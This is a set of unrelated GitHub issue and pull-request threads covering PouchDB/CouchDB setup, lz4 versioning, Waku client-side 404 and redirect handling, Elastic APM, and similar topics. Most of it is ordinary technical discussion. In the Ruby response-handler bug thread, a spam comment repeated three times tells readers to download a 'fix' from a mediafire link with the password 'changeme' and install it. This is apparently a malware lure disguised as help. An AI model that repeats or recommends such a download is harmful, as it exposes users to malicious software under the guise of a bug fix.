Create database after login issue

Hi,
I'm trying doing the following: I have a local database (using PouchDB), I check if user is logged in (with pouchdb-authentication login function) and if true I sync the locale db with the remote one.
Unfortunately, when I try to create a new database on CouchDB (I want one db for every user) I always get the error {"error":"not_found","reason":"no_db_file"}. I saw this is a common error described in PouchDB documentation (https://pouchdb.com/guides/databases.html#remote-databases) but CORS is enabled and I can't figure out where is the problem.
My couchdb configuration is:

I do the login as follow:
  var user = {
          name: 'name',
          password: 'password'
  };
  var url = "http://ip/";
        var pouchOpts = {
          skipSetup: true
   };
  var ajaxOpts = {
      ajax: {
            headers: {
                  Authorization: 'Basic ' + window.btoa(user.name + ':' + user.password)
            }
       }
  };
  var db = new PouchDB(url+'auth', pouchOpts);

   db.login(user.name, user.password, ajaxOpts).then(function() {
            return db.allDocs();
   }).then(function(docs) {

       //HERE I TRY TO CREATE THE NEW DATABASE
       pouchDBService.sync(url+"newDatabase", user);

  }).catch(function(error) {
            console.error(error);
  });

And, in my pouchDBService I have:
 var database;

 //I call this function as app starts
 this.setDatabase = function(databaseName) {
     database = new PouchDB(databaseName, {
         adapter: 'websql'
    });
  }

  this.sync = function(remoteDatabase, user) {
        var remoteDB = new PouchDB(remoteDatabase, {
            auth: {
                username: user.name,
                password: user.password
            },
            skip_setup: true //without this I get the login popup! Why if I'm passing the auth params???
        });
        remoteDB.info().then(function (info) {
            console.log(info);
            database.sync(remoteDB, {live:true, retry: true})
        })
  }

Is there something wrong? Any help is appreciated.
Thanks

Hm, I believe no_db_file should only occur when the database is not already created but it expects it should be created. Maybe the user doesn't have authorization to create databases?

Hi @nolanlawson, thanks you for your help. I don't think is an authorization issue since the user tested was admin.
Can "require_valid_user = true" on couchdb be a problem?
My goal is to have multiple databases for each user and allow them to access each db. I tried doing this:

Signup a new user (not admin!) with the built-in signup function of pouchdb authentication
if signup is ok, login the user with the login function of pouchdb authentication
create a new (or more than once) PouchDB remote database. At this point, if I understood the pouchdb documentation, if the db doens't exists on couchdb it will be created.

I have multiple issues in this process:

If I singup a user with require_valid_user = true (on couchdb) and skipSetup (on pouchdb authentication) and without having a valid cookie in browser (so I'm in a new session) the signup fails. I get the authentication popup asking me for an account (on browser). So I set require_valid_user = false and everything works. Obviously doing this lets my db opened and anyone can access it using direct link.
If I login with the admin user (since with require_valid_user = true I can't signup a new user!) I try to create a new database (as exposed above) but I always got no_db_file.
(3. This evening I want to do the following: set require_valid_user = false and after signup a new user trying to create a new database, I don't know if I'll get the no_db_file, I'll let you know!)

Do you have any ideas?
I think there is something I miss but I can't figure out what is it. Please let me know if I can supply you more informations.
(sorry for my english!)
Thanks

Hi I am having same issue. Try to create new db at cloudant but always failed...
Anybody had idea what's the problem?
var db = new PouchDB(https://$USERNAME.cloudant.com/$DATABASE, {auth: {username: admin username, password: admin password}});
error:"forbidden"
message:"server_admin access is required for this request"
name:"forbidden"
reason:"server_admin access is required for this request"
status:403

@eeschiavo Would you mind trying to make tiny repo that shows the problem with the readme telling the Couch configuration and users ?

Closing this issue as it seems to be stale. Please do reopen a ticket if you still experience this.


v0.11.0 uses LZ4 v<IP_ADDRESS>

Hi guys,
first thanks for your python library! it proved to be very useful for my research work which needs to store a lot of gigabytes of data.
Secondly, the current version of lz4 is now v<IP_ADDRESS>, with v1.8.1 being deprecated:
https://github.com/lz4/lz4/releases/tag/v1.8.1
The code is exactly the same it seems, but with a packaging mistake. Are you planning on getting up-to-date with it or just wait for the next major version?
I think keeping the versions up-to-date is less confusing :).
Thanks again!

You're right, there's something strange going on with the label. However, if I download the tgz archive for v.<IP_ADDRESS> and compare the lib source files with what is in py-lzframed v0.11.0, they come out as identical. (Maybe v1.8.1 was actually a pre-release version or something.)

Interesting.
I just checked and the lz4 source code you have in py-lzframed is not the same as the tgz archive for v1.8.1 that you download either.
Maybe when you grabbed the code the archive was different at the time?
Basically this would mean you already grabbed the v<IP_ADDRESS> code in disguise of v1.8.1.
So, seems that the best thing to do is to wait for the next release, wait a day or so and then update py-lzframed accordingly to sync-up the versions. Maybe you can keep this issue open as a reminder?

Maybe when you grabbed the code the archive was different at the time?

Since <IP_ADDRESS> supersedes 1.8.1 and is just a minor patch, I did indeed download <IP_ADDRESS>. With hindsight I could have explicitly mentioned in the README that it is <IP_ADDRESS> and not 1.8.1 (and that would be the only place where said difference would be visible). But the fact remains that it's fully up-to-date. (I always wait a significant amount of time before including a new lz4 release exactly to avoid having to re-release a slightly altered patch version.)

accordingly to sync-up the versions

I don't agree that versions are out-of-sync. There is nowhere in the lz4frame library where it would be possible to read out the <IP_ADDRESS> version change since the LZ4_VERSION_NUMBER only exposes three numbers, not four.
But it is good to summarise for anyone else: py-lz4framed v.0.11.0 uses lz4 v<IP_ADDRESS>
I have also updated the release with a comment to reflect that as well as change this issue's title.

I don't agree that versions are out-of-sync.

Sorry I meantthat the labelled version in py-lz4framed is v1.8.1 but the actual code is v<IP_ADDRESS>, hence the "out of sync". But after your comment, it is 100% clear to me now that in fact it is using v<IP_ADDRESS>.
I think that now that things are clear and even clarified in the releases page, it is safe to close this issue.
Thanks a lot for your time!

Thanks a lot for your time!

You're welcome. If a new lz4 version is released and I haven't noticed (due to work commitments), please feel free to raise a new issue.


Return Complete HTTP Response not being returned when the response is void in Response Handler

Describe the bug
The issue is when the return complete HTTP response is enabled and the response is void then the endpoint expects the API Response object but the endpoint gets nil.
Expected behavior
The Response Handler should return ApiResponse object when the response is void.
To Reproduce
Steps to reproduce the bug:

Pass in the is_api_response flag as enabled in the response handler object.
Pass in the is_response_void flag as enabled in the response handler object.
You will see the returned response will be nil whereas it should be an ApiResponse object.

Screenshots
If applicable, add screenshots to help explain the bug.
Library version number
For example:  0.1.1
Environmental details
For example:
OS: Linux
Runtime version: Ruby 2.7
Additional context
Add any other context about the problem here.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


"history" rule runs very slow when bash history is huge

thefuck became very slow since a few versions ago. After specifying THEFUCK_DEBUG=true I have found the problem:
...
DEBUG: Trying rule: history; took: 0:00:07.860372
...

I have 100k+ lines in ~/.bash_history, and that should be the reason. Is there any way to speed up the rule, or maybe I have to clean up bash history regularly?
Thanks!

Even with my history being just 1600 lines, the rule took 0.25 seconds. That might not sound like much, but its a noticeable delay.

Suggestion: try to use the version for python 3, the history rule seems to be MUCH faster…
pip uninstall thefuck
pip3 install thefuck

@hcgraf Thanks for the tip, but I'm already using Python 3 :)


Couchdb under Windows without admin rights

Summary
I would like to deploy couchdb to Windows clients, without the need to install it with admin rights.
Ideally, I would just extract the zip file and run it.
Maybe you can help me discussing problems and solutions.
I got the files from the msi installer and now I am trying to figure out how to run it, without installing it.
Currently I am running into an eacces.
[info] 2019-07-04T06:56:46.133000Z couchdb@localhost <0.209.0> -------- Starting couch_sup
[notice] 2019-07-04T06:56:46.165000Z couchdb@localhost <0.92.0> -------- config: [features] pluggable-storage-engines set to true for reason nil
[error] 2019-07-04T06:56:46.289000Z couchdb@localhost <0.217.0> -------- Failure to start Mochiweb: eacces

[error] 2019-07-04T06:56:46.289000Z couchdb@localhost <0.228.0> -------- CRASH REPORT Process  (<0.228.0>) with 0 neighbors exited with reason: eacces at gen_server:init_it/6(line:344) <= proc_lib:init_p_do_apply/3(line:247); initial_call: {mochiweb_socket_server,init,['Argument__1']}, ancestors: [couch_secondary_services,couch_sup,<0.208.0>], messages: [], links: [<0.217.0>], dictionary: [], trap_exit: true, status: running, heap_size: 1598, stack_size: 27, reductions: 684
[error] 2019-07-04T06:56:46.289000Z couchdb@localhost <0.208.0> -------- Error starting Apache CouchDB:

    {error,{shutdown,{failed_to_start_child,couch_secondary_services,{shutdown,{failed_to_start_child,httpd,eacces}}}}}

Additional context
Being able to run couchdb as portable installation eases the deployment to clients.
Same for running without admin rights.

Is the path to the installation one without spaces? Unfortunately, CouchDB cannot run in a subdirectory that has spaces (such as C:\Program Files\CouchDB.)

Yes, its c:/couchdb

Check the permissions on the directories. Can they be accessed by a non-admin user?
The installer sets very limited access by default on those directories. Specifically, non-admins are not allowed to write to those folders:

Double-check the permissions on all of the folders and ensure the user you wish to be able to run the program has full write access to the entire C:\CouchDB tree.

I checked permissions and even set the ownership to the current user. Everything seems right.
Steps to reproduce:

Win 10 Eval Version (using Vagrant script:

Vagrant.configure("2") do |config|

  config.vm.box = "peru/windows-10-enterprise-x64-eval"

  config.vm.provider "virtualbox" do |vb|
  #   # Display the VirtualBox GUI when booting the machine
     vb.gui = true
  #   # Customize the amount of memory on the VM:
     vb.memory = "2048"
     vb.name = "couchdbtest_windows"
     vb.cpus = 4
  end
end

Install vcredist2013 and reboot
Copy couchdb files from an installation on an other vm to C:\couch
Run takeown.exe /F C:\couch  /R
Explorer->Properties->Security Give everyone full access.
Run bin/couchdb.cmd

Results in:
[info] 2019-07-21T13:57:17.772000Z couchdb@localhost <0.208.0> -------- Apache CouchDB 2.3.1 is starting.

[info] 2019-07-21T13:57:17.772000Z couchdb@localhost <0.209.0> -------- Starting couch_sup
[notice] 2019-07-21T13:57:18.227000Z couchdb@localhost <0.92.0> -------- config: [features] pluggable-storage-engines set to true for reason nil
[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.217.0> -------- Failure to start Mochiweb: eacces

[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.228.0> -------- CRASH REPORT Process  (<0.228.0>) with 0 neighbors exited with reason: eacces at gen_server:init_it/6(line:344) <= proc_lib:init_p_do_apply/3(line:247); initial_call: {mochiweb_socket_server,init,['Argument__1']}, ancestors: [couch_secondary_services,couch_sup,<0.208.0>], messages: [], links: [<0.217.0>], dictionary: [], trap_exit: true, status: running, heap_size: 1598, stack_size: 27, reductions: 684
[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.208.0> -------- Error starting Apache CouchDB:

    {error,{shutdown,{failed_to_start_child,couch_secondary_services,{shutdown,{failed_to_start_child,httpd,eacces}}}}}

[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.217.0> -------- Supervisor couch_secondary_services had child httpd started with couch_httpd:start_link() at undefined exit with reason eacces in context start_error
[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.209.0> -------- Supervisor couch_sup had child couch_secondary_services started with couch_secondary_sup:start_link() at undefined exit with reason {shutdown,{failed_to_start_child,httpd,eacces}} in context start_error
[error] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.207.0> -------- CRASH REPORT Process  (<0.207.0>) with 0 neighbors exited with reason: {{shutdown,{failed_to_start_child,couch_secondary_services,{shutdown,{failed_to_start_child,httpd,eacces}}}},{couch_app,start,[normal,[]]}} at application_master:init/4(line:134) <= proc_lib:init_p_do_apply/3(line:247); initial_call: {application_master,init,['Argument__1','Argument__2',...]}, ancestors: [<0.206.0>], messages: [{'EXIT',<0.208.0>,normal}], links: [<0.206.0>,<0.9.0>], dictionary: [], trap_exit: true, status: running, heap_size: 610, stack_size: 27, reductions: 116
[info] 2019-07-21T13:57:18.303000Z couchdb@localhost <0.9.0> -------- Application couch exited with reason: {{shutdown,{failed_to_start_child,couch_secondary_services,{shutdown,{failed_to_start_child,httpd,eacces}}}},{couch_app,start,[normal,[]]}}

Do you see any flaws? Where can I search to find the cause of the eacces?

Either I messed up by changing to a port below 1000 or a reboot helped. Anyway it seems to work now. Maybe it would be nice to provide a zip file for windows installations and not just msi and add a small section to the README?

Users can easily unpack the MSI themselves:
msiexec /a PathToMSIFile /qb TARGETDIR=DirectoryToExtractTo

Everything else should work as normal.
This is a pretty rare use case, so we'll leave this GitHub issue as the way people can find this information.
Cheers! Glad you have your problem sorted out.


a better instruction how to start?

I installed the pod to the fresh project
What are my next steps?
I could not use a new Nmessage VC or import anything
import NMessenger gives me an error. ..
What I am doing wrong?

There is a known issue with AsyncDisplayKit's PinRemoteImage dependency. We're trying to find the problem.

#67

Another issue on "better instructions"
https://github.com/eBay/NMessenger/issues/95


Add output of previous models as possible model input fields

Changes Unknown when pulling 5445a1f16f90ce8afffc82c5097a4c42d96f58ad on EvaMGC:feature/all-previous-outputs into ** on Stratio:master**.

Changes Unknown when pulling 2afc5814636c50b80f72ef839202093da5330e70 on EvaMGC:feature/all-previous-outputs into ** on Stratio:master**.

:shipit:

A job will handle this PR ASAP on Jenkins

Rebase && testing in progress


KL divergenve

https://github.com/google-research/augmix/blob/9b9824c7c19bf7e72df2d085d97b99b3bfb00ba4/cifar.py#L233
Hi.
KL divergence is indeed asymmetry distribution.
The code looks to minimize the mixture of distribution to p_original, p_aug1, p_aug2

The Jensen-Shannon Divergence is symmetric and can be written in terms of KL Divergences.


Add startup node script to ProgramData directory.

At the moment, selenium_windows_gui_service() creates C:\\Users\\#{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\selenium_node.lnk
In Windows 10, at least, even if the target user exist, in a new system there would not be any user directory file already as our target user has never logged in before. So, instead of creating the link in the user's directory it should be created in C:\\AppDirectory, as it targets any user.

The https://github.com/dhoer/chef-windows_home cookbook should have created that user home directory structure without a login.  I wonder if it is not working on Windows 10?  I will have to think about the impact of this change.  I think it is a good change, but I'm not sure if it will cause other issues.

Hi @dhoer. I didn't knew about chef-windows_home. I will see if I can find out what's wrong with the selenium user in windows 10 and 8 as I had the same issue there.

There is a bug where home doesn't work when laptop is unplugged.

Is it best practice to move selenium under this directory as well? If you are still interested in this, I would like to pursue this approach.  It would be released as a major change 6.0.0.

It just occurred to me that this can't be done.  In order to change display on cloud servers, another account called rdp_local has a startup script to rdp to local administrator account.  That administrator account then starts up the selenium node server.   Having the selenium startup script global would break that functionality.
If windows 10 create home is still on working, then please open an issue there: https://github.com/dhoer/chef-windows_home.
Thanks again for taking the time to submit a PR.


404 and broken link handling

The problem
Links that point to non-existent paths will put the router into a faliling state when trying to loading the RSC payload of the target page and throw an exception that is (by default) caught by the global error boundary.
This approach creates some problems for content-focused use cases:

The 404 page can not be a full react page that is managed like all the others.
It's not possible to hand of 404 handling to a different system (e.g. redirects stored in a CMS or CDN).

Solution
I changed the Link component to optionally wait for the prefetch to resolve before navigating and if unsuccessful trigger a native navigation to the same path to trigger the host system 404 behavior.
Based on a discussion with @dai-shi , I attempted to achieve the same with a custom error boundary, but the error boundary gets rendered and there is a flash of the error message before the actual navigation happens, which feels like the website is broken.
Note
When writing tests for this, i found that error handling was broken in itself, which is not related to this PR directly: https://github.com/dai-shi/waku/pull/895/commits/4ca39f7e1ea56484d1f620035668dbe2d4985da9

Hi, thanks for the investigation and the suggestion!
I would like to understand the problem better as I assume there should be more minimal solution.
One of my questions is is this issue specific to prefetching? As "prefetch" is an additional feature, and it should work without prefetching.

When writing tests for this, i found that error handling was broken in itself, which is not related to this PR directly

Yeah, it's not surprising because this feature isn't very stable yet. Thanks for the test and the fix!

I would like to understand the problem better as I assume there should be more minimal solution.
One of my questions is is this issue specific to prefetching? As "prefetch" is an additional feature, and it should work without prefetching.

I will try my best! Wall of text incoming ...
Aside from prefetching (which I agree is an additional feature), all the Waku Link component does is change the route. Then the router tries to render the route, and if fetching the RSC payload fails, it will trigger the error boundary.
In our concrete case, the content management system maintains a list of redirects for pages that changed their slug over time. Links to those pages are not necessarily immediately updated in all locations, but just redirect to the targets new slug.
That means, a missing RSC payload is an expected case that we need to handle before the actual route change happens. It should not emit an error state to the user, but fall back to the CMS' redirect handler. We are working in a purely static environment, so we can't use a middleware to catch that.
Prefetch is part of the solution because it can tell us in advance if a route exists or not, and the Link component can simply trigger a standard navigation and the host system can decide on a higher level what to do. That's one of the things that still work well in Gatsby right now, and I took the solution from there 😄
And there is the other nice side effect that the 404 page can just be a regular page that is handled by Vercel/Cloudflare/Netlify/Nginx/Apache ... 's built-in fallback mechanisms.
Using an error boundary would be more elegant, but it will always unmount the whole page before doing anything else. Maybe this could be handled on a router level, but that means it would apply to every link, which felt even more invasive.

So, does your solution require prefetching always? It feels bad in two ways: a) prefetch should be optional, b) prefetch shouldn't be awaited. (otherwise, we don't get the benefit of prefetching.)
I think we need a solution without prefetching.

Yes, it always has to prefetch. I tried to trigger the reload right where the exception is thrown:
https://github.com/dai-shi/waku/blob/58d957c2b6f0e2d01190eb7bfd5d83c05e5dad92/packages/waku/src/client.ts#L38
... but this is too late. The error boundary gets rendered already, since the new route is already being evaluated.
I think without prefetching, we would have to make the router remember its previous state and render that in case the RSC payload returns a 404. And then trigger the page reload.

Yeah, I think that's the right solution. It's tedious though. Awaiting prefetch isn't a prefetching any longer, so it's not an option.

Do you have any pointers where or how to do that? I tried to track the application flow, and from what i can tell the promise returned from fetchRSC gets passed as elements here:
https://github.com/dai-shi/waku/blob/58d957c2b6f0e2d01190eb7bfd5d83c05e5dad92/packages/waku/src/client.ts#L205-L209
So the error will always be thrown during rendering, and we are back at the error boundary. Maybe we could store the previous result and and make the error boundary render the whole previous page, but this would still mean a full re-render and probably ui elements re-initializing and flashing.

I need to sit down and think about it more.
As I understand, this is about client side routing, so location.href = ... shouldn't be used, basically.
Meanwhile, would you send a separate PR for 4ca39f7?

There you go: https://github.com/dai-shi/waku/pull/896

[!Note]
Brainstorming different angles to the problem

Frontend-redirects
Add all possible redirects to the js-bundle.
✅ Independent of hosting environment
✅ No visual break
🛑 List can get long and inflates js-payload
Redirect pages
Render an actual page for each redirect that does a client side redirect on load.
✅ Independent of hosting environment
✅ No changes to waku necessary
🛑 Causes visual break, but less than a full page unmount
🛑 Might produce a lot of files. Some environments (e.g. Cloudflare pages) have a hard limit.
Redirect RSC payloads
When there is a redirect from /a to /b, the host system also redirects /RSC/a.txt to /RSC/b.txt. Waku router could detect that case and adjust history accordingly.
🛑 Depends on the hosting environment
✅ No visual break
✅ No additional files or JS payload size
createRedirect
New createRedirect API that places a special RSC payload at that path that causes waku to load a different RSC file instead.
✅ Independent of hosting environment
✅ No visual break
🛑 More files, but at least less than "Redirect pages"

So i had a longer thought about this, and turns out that Option 3 of the brainstorming solves everything:

Redirect RSC payloads
When there is a redirect from /a to /b, the host system also redirects /RSC/a.txt to /RSC/b.txt. Waku router could detect that case and adjust history accordingly.
🛑 Depends on the hosting environment
✅ No visual break
✅ No additional files or JS payload size

Nothing in Waku has to change. As an example, I use these Netlify redirects:
/a /b 301
/RSC/a.txt /RSC/b.txt 301

When a Link component now points to /a and the rendering process tries to load /RSC/a.txt, the server responds with the contents of /RSC/b.txt and the correct page is displayed. In a Gatsby environment that would have failed, due to potentially missing client code. But since the RSC payload also knows which js-bundles are required, it just works 🤯
Adding this rewrite...
/RSC/* /RSC/404.txt

... even (almost) solves the 404 problem. When clicking a broken link, the server will respond with the RSC-Payload of the 404 page. It is also correctly displayed, but Waku also replaces the current browser location with /404. Thats great for any other pages, but here we actually don't want that.
@dai-shi : do you know where this happens and if we can add special handling for 404 somehow?

Before going into the solution idea, can I make sure I'm on the same page? I'm still not confident if I understand the problem.

The problem has shifted through the course of this PR. I'll try to summarize.
Initial Situation:
Requirements:

We work in a purely static environment, without a JS server runtime. No SSR and no middleware either. Simplest case would be dist/public served by NGINX for example.
404 error pages are regular pages, maintained in a CMS.
There is an externally maintained list of path redirects (e.g. path /a redirects visitors to page /b) that is already applied by the HTTP server.

Problems:

When navigating with Waku's Link component, the HTTP server has no chance to apply it's built-in redirects or 404 fallbacks.

Waku Link's that point to non-existing paths don't show the 404 page, but the error boundary message.
Waku Links that point to redirected pages don't redirect but show the error boundary message as well.

This can be reproduced both in SSR and SSG, but in SSR it's easier to solve, since redirect and fallback logic can be applied at time of the request.

After the findings from my "brainstorming"

✅ Adding the same redirects for the RSC directory (e.g. /RSC/a.txt to /RSC/b.txt) to the HTTP server makes Link correctly follow redirects.
✅   Making the HTTP server fall back to /RSC/404.txt for all requests that ask for something in /RSC/* that does not exist, cause Link with broken paths to display the correct custom 404-page.

🛑 .... but it also changes the window.location to /404. It should remain the non-existent path that the link pointed to instead.

Thanks for the summary. That helps my understanding.
So, my mental model is that server routing and client routing are different things.

Server routing is done by the HTTP server (NGINX, Waku server, or something). It fetches HTML (and RSC).
Client routing is basically <Link> with JS enabled. It fetches RSC only.

404.html is basically only for server routing.
404.tsx with waku/router is also basically for server routing (but can it be used for client routing? that would be nice.)

e.g. /RSC/a.txt to /RSC/b.txt

That actually depends on an internal spec that /a corresponds to /RSC/a.txt, but it may not hold in the future.

So, I feel like there should be something that waku/router could do.

That actually depends on an internal spec that /a corresponds to /RSC/a.txt, but it may not hold in the future.
Yes, thats a flaw here.

So, I feel like there should be something that waku/router could do.

It could handle 404 responses when trying to fetch RSC:

Test the corresponding "real" path to see if it emits a redirect (from NGINX) and attempt to load the RSC for the redirect target path instead. That would mitigate the dependency on internals above.
Fall back to loading the RSC for 404.tsx if available.

Re-started this PR with a detailed test case how I would expect routing to work.

Fall back to loading the RSC for 404.tsx if available.

I was thinking about this.
I think the 404 response should include it, or return with 200 response with something like this in body stream:
{
  _status: 404,
  404:
404

}

The PR re-work is done! Instead of handling 404 responses on click, I tried to move that into the router. The code is rather rough still, but maybe you could have a look at the broken-link.spec.ts and check if our expectations align?

https://github.com/dai-shi/waku/pull/895#issuecomment-2373718622
I think 404 response should include JSON body and contain 404.tsx rendering.

#895 (comment)
I think 404 response should include JSON body and contain 404.tsx rendering.

Sorry, I don't get where and how this should happen.

As you might guess, I don't particularly like the change in fetchRSC. It should be much simpler.

Can you elaborate? Simpler in which sense?

Sorry, I don't get where and how this should happen.

I think I need to try something by myself. Please give me some time.

Can you elaborate? Simpler in which sense?

I'll adjust it too. We should remove redirect handling.

#895 (comment)
I think 404 response should include JSON body and contain 404.tsx rendering.

Sorry, I don't get where and how this should happen.

I wasn't able to add it in 404 response, but 200 response.
It's still kind of a hack, but renderEntries returning null becoming 404 is a hack too. We should probably revisit it if we need more control on HTTP status for RSC request.

I wasn't able to add it in 404 response, but 200 response.

On second thought, 200 response isn't that bad. This is not a request for HTML, but a request for RSC.

This solution does not work in a fully static environment ☹ Only with a server side router.

Good point...

For static sites, we can't add JSON body to 404 response anyway.

It would work, but then the RSC path would have to become public API, so an HTTP server can reliably fall back to /RSC/404.txt.

Actually, we can send 404 content on the initial load and cache it on the client. Let me see. (It increases the size with static sites though.)

Does that mean embedding the 404 content into each static html page? With CDNs charging by transfer volume, thats not great.

Does that mean embedding the 404 content into each static html page?

Yeah, kind of. Okay, I'll try another solution.

It would work, but then the RSC path would have to become public API, so an HTTP server can reliably fall back to /RSC/404.txt.

The more i think about this, the more i like it. It would also allow to handle redirects without Waku's knowledge. But I have no clue how likely this would break.

Is there a scenario where "real"- and RSC-path don't match?

Not now, but I feel like this convention isn't very flexible. I would definitely like to explore other solutions that don't match.
More than that, 404.txt isn't Waku minimal API's spec. It's waku/router's spec. So, it shouldn't be a public API.
I don't feel comfortable with depending on HTTP server's config. Let me work on something and you might come up with an idea to improve.

Should i make the test cases "minimal"? (not use server side at all)

Run the client side test cases with serve instead of waku start.

That's nice!

Run the client side test cases with serve instead of waku start.

That's nice!

There we go!

Thanks! Would you like to give a review too?

Yes, I know. That works. Thanks!

Created a new PR for the redirect case: https://github.com/dai-shi/waku/pull/928


Add ElasticApmAttacher.attach(String classpathLocation)

Also, clarify that config_file can't be on the classpath
The idea was that when using the attacher, the properties file could be read from the classpath.
However, that never really worked as Spring Boot creates a different class loader for the applicaiton when not started from the IDE.

relates to https://discuss.elastic.co/t/apm-config-file-location/203887

[x] Implement code
[x] ~Add tests~
[x] Update documentation
[x] Update CHANGELOG.md
[x] ~Update supported-technologies.asciidoc~
[x] ~Added an API method or config option? Document in which version this will be introduced.~

Codecov Report

Merging #892 into master will decrease coverage by 0.41%.
The diff coverage is 0%.

@@             Coverage Diff              @@
##             master     #892      +/-   ##
============================================
- Coverage     64.77%   64.36%   -0.42%
  Complexity       85       85
============================================
  Files           232      232
  Lines          9578     9453     -125
  Branches       1256     1234      -22
============================================
- Hits           6204     6084     -120
+ Misses         2984     2979       -5
  Partials        390      390

Impacted Files
Coverage Δ
Complexity Δ

...tic/apm/agent/configuration/CoreConfiguration.java
96.55% <ø> (ø)
0 <0> (ø)
:arrow_down:

...lastic/apm/agent/impl/ElasticApmTracerBuilder.java
79.01% <0%> (ø)
0 <0> (ø)
:arrow_down:

...java/co/elastic/apm/attach/ElasticApmAttacher.java
20% <0%> (-0.55%)
4 <0> (ø)

.../elastic/apm/agent/bci/bytebuddy/MatcherTimer.java
62.5% <0%> (-31.25%)
0% <0%> (ø)

...c/apm/agent/bci/MatcherTimerLifecycleListener.java
75% <0%> (-18.75%)
0% <0%> (ø)

...astic/apm/agent/impl/transaction/AbstractSpan.java
80.15% <0%> (-3.44%)
0% <0%> (ø)

...va/co/elastic/apm/agent/impl/transaction/Span.java
77.52% <0%> (-2.04%)
0% <0%> (ø)

...bci/methodmatching/TraceMethodInstrumentation.java
58.18% <0%> (-1.82%)
0% <0%> (ø)

...java/co/elastic/apm/agent/bci/ElasticApmAgent.java
70.76% <0%> (-1.76%)
0% <0%> (ø)

...ent/error/logging/Slf4jLoggingInstrumentation.java
58.33% <0%> (-0.76%)
0% <0%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d27c984...36cada0. Read the comment docs.


Improve taskfiles

Changes

Rework tasks to increase usability and flexibility.
Improve var handling.
Update images.

Dependencies:
none
Tests results
<!-- add Robot test CLI logs here. -->

Developer Checklist:

[ ] Test: Changes are tested
[ ] Doc: Documentation has been updated
[x] Git: Informative git commit message(s)
[ ] Issue: If a related GitHub issue exists, linking is done

Checklists for documentation

[ ] Grammar: the content is grammatically correct
(spelling, grammar, formatting, US English is used)
[ ] Comprehensibility/Unambiguousness: the content is easy readable, clear to understand
[ ] Correctness and consistency: the content is technically correct and consistent,
no contradictions, no double descriptions
[ ] Terminology: technical terms are clear and they are used correctly and documented in the glossary
[ ] Level of detail: the content matches the detail level necessary for the reviewed object

Reviewer checklist:

[ ] Review: Changes are reviewed
[ ] Review: Tested by the reviewer

Checklists for documentation

[ ] Grammar: the content is grammatically correct
(spelling, grammar, formatting, US English is used)
[ ] Comprehensibility/Unambiguousness: the content is easy readable, clear to understand
[ ] Correctness and consistency: the content is technically correct and consistent,
no contradictions, no double descriptions
[ ] Terminology: technical terms are clear and they are used correctly and documented in the glossary
[ ] Level of detail: the content matches the detail level necessary for the reviewed object

would have cleaned up the existing images yet, e.g. rdb2 could be removed

@simone-weiss I will branch off of this pr/branch to update the docs and align the images


Why React?

Really good work. I really enjoyed the generator. But why using react?

Where react?

Indeed, where is react?


DNN-8538 and DNN-8334 : Update the RegEx during install/upgrade to al…

…low Image Handler

also need consider the settings may saved in host settings table.

Code changes looks good.


Fix Panic when stopping Server before even started

Fixing panics happening when the server get's the Stop() function called before it is even started.
By initialising the channel earlier, it can easily be closed.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

6 of 6 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.006%) to 89.031%

Totals

Change from base Build<PHONE_NUMBER>:
0.006%

Covered Lines:
6526

Relevant Lines:
7330

💛  - Coveralls

Another option btw is to go for stuff like this:
if (channel != nil) {
    close(channel)
}


Fix tailing logs with negative limits

This PR changes the type used the tail limit, so that negative numbers are treated as no limit, instead of crashing.
This hopefully fixes an issue reported here: https://github.com/joyrex2001/kubedock/issues/77

Looks good. If you fix the typo, I'll merge.


Running 'node watch.js' not working on Windows

Using node watch.js doesn't seem to work on Windows. It seems command-exists.js is using the unix 'which' command for the child variable. Replacing this with 'where' doesn't seem to work. So it never finds harp and throws out 'Harp is not installed, please run npm install on styleguide/styleguide/structure/_node-files/'. (definitely have harp installed)
Thanks

Thank you, very useful to us and should be fixed soon.

This was related to a command-exists package issue which is now fixed.
https://github.com/mathisonian/command-exists/blob/master/lib/command-exists.js#L5


update bootswatch to 3.3.2

Thanks @thomaspark sorry for the delay.  @jmervine will update this asap.

Reran travis. Failed due to "nvm install 0.10" failure, which is a glitch in the travis matrix, not an issue with the update. Merging to develop now.


Help error program cc2652p via esp32 bridge (EUB-47)

maybe who knows what the problem might be, I want to download the firmware to cc2652p via esp bridge.
connected it seems to be correct, I use esp32s2
everything connects normally , but the firmware is not upload
config openocd:
adapter driver esp_usb_jtag
espusbjtag vid_pid 0x303a 0x1002
espusbjtag caps_descriptor 0x030A
adapter speed 1000
source [find target/ti_cc26x2.cfg]
set remotetimeout 100
reset_config trst_only
program ptvo.switch-zr02.hex
log openocd:
C:\my\openocd-esp32\bin>openocd
Open On-Chip Debugger v0.12.0-esp32-20230419 (2023-04-18-22:02)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : only one transport option; autoselecting 'jtag'
Info : esp_usb_jtag: VID set to 0x303a and PID to 0x1002
Info : esp_usb_jtag: capabilities descriptor set to 0x30a
Info : esp_usb_jtag: serial (4827E24B37E4)
Info : esp_usb_jtag: Device found. Base speed 480KHz, div range 1 to 1
Info : clock speed 480 kHz
Info : JTAG tap: cc26x2.jrc tap/device found: 0x3bb4102f (mfg: 0x017 (Texas Instruments), part: 0xbb41, ver: 0x3)
Info : JTAG tap: cc26x2.cpu enabled
Info : [cc26x2.cpu] Cortex-M4 r0p1 processor detected
Info : [cc26x2.cpu] target has 6 breakpoints, 4 watchpoints
Info : starting gdb server for cc26x2.cpu on 3333
Info : Listening on port 3333 for gdb connections
